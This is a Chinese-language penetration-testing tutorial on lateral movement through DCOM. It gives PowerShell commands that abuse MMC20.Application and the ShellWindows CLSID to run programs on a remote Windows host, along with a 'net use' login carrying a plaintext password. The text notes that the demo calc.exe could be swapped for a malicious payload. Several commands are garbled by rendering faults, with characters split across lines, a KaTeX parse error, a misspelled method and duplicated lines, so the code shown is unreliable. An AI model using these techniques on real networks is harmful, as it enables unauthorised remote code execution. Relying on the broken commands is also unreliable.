DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。通过DCOM, 客户端程序对象能够向网络中的另一台计算机上的服务器程序对象发送请求。DCOM是基于组件对象模型(COM)的。COM提供了一套允许在同一台计算机上的客户端和服务器之间进行通信的接口(运行在Windows95及之后版本的操作系统中)。
攻击者在进行横向移动时,如果要在远程系统中执行命令或Payload,除了会使用前面讲过的at、schtasks、PsExec、WMI、smbexec、PowerShell等,还会使用网络环境中部署的大量诸如IPS、流量分析等系统。多了解一些横向移动方法,对日常的系统安全维护是大有益处的。
Get-CimInstance这个cmdlet(PowerShell命令行)默认只在Power Shell 3.0以上版本中存在。也就是说,只有Windows Server2012及以上版本的操作系统才可以使用Get-CimInstance,命令如下,如图所示。
Get-CimInstance Win32_DCOMApplication
因为Windows7、Windows Server 2008中默认安装的是PowerShell 2.0,所以它们都不支持Get-CimInstance。可以使用如下命令代替Get-CimInstance,如图所示。
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
在本地启动一个管理员权限的PowerShell,执行如下命令,如图所示。
$com = [activator]::CreateInstance([type]::GetTypeFromProgID(“MMC20.Application”,“127.0.0.1”))
c o m . D o c u m e n t . A c t i v e V i e w . E x e c u t e S h e l l C o m m a n d ( ′ c m d . e x e ′ , com.Document.ActiveView.ExecuteShellCommand('cmd.exe', com.Document.ActiveView.ExecuteShellCommand(′cmd.exe′,null,“/c calc.exe”,“Minimized”)
执行完毕,将以当前会话执行Administrator(CISP-PTE)权限的calc.exe,如图所示。
该方法通过ExecuteShellCommand运行了“计算器”程序。如果攻击者把“计算器”程序换成恶意的Payload,就会对系统安全造成威胁。
下面通过一个实验来讲解如何使用DCOM在远程机器上执行命令。在使用该方法时,需要关闭系统防火墙。在远程机器上执行命令时,必须使用具有本地管理权限的账号。
实验环境
域控制器
域成员服务器
在命令行环境中输入如下命令,如图所示。
net use \192.168.1.37 “a123456#” /user:pentest.com\hacker
(1)调用MMC20.Application远程执行命令
建立ipc$后, 输入如下命令,在远程系统上运行calc.exe。
$com = [activator]::CreateInstance([type]::GetTypeFromProgID(“MMC20.Application”, “192.168.1.37”))
$com.Document.ActivateView.ExecuteShellCommand(‘cmd.exe’, $null,“/c calc.exe”,“”)
(2)调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
在远程主机上打开PowerShell,输入如下命令。
PS C:> $com = [Type]::GetTypeFromCLSID(‘9BA05972-F6A8-11CF-A442-00A0C90A8F39’,“192.168.1.37”)
PS C:>
o
b
j
=
[
S
y
s
t
e
m
.
A
c
t
i
v
a
t
o
r
]
:
:
C
r
e
a
t
e
I
n
s
t
a
n
c
e
(
obj = [System.Activator]::CreateInstance(
obj=[System.Activator]::CreateInstance(com)
PS C:> $item = $obj.item()
PS C:> KaTeX parse error: Undefined control sequence: \windows at position 67: …c calc.exe","c:\?w?i?n?d?o?w?s?\system32",null,0)
这两种方法均适用Windows7~Windows10、Windows Server2008~Windows Server2016。
c:\windows\system32",$null,0)
这两种方法均适用Windows7~Windows10、Windows Server2008~Windows Server2016。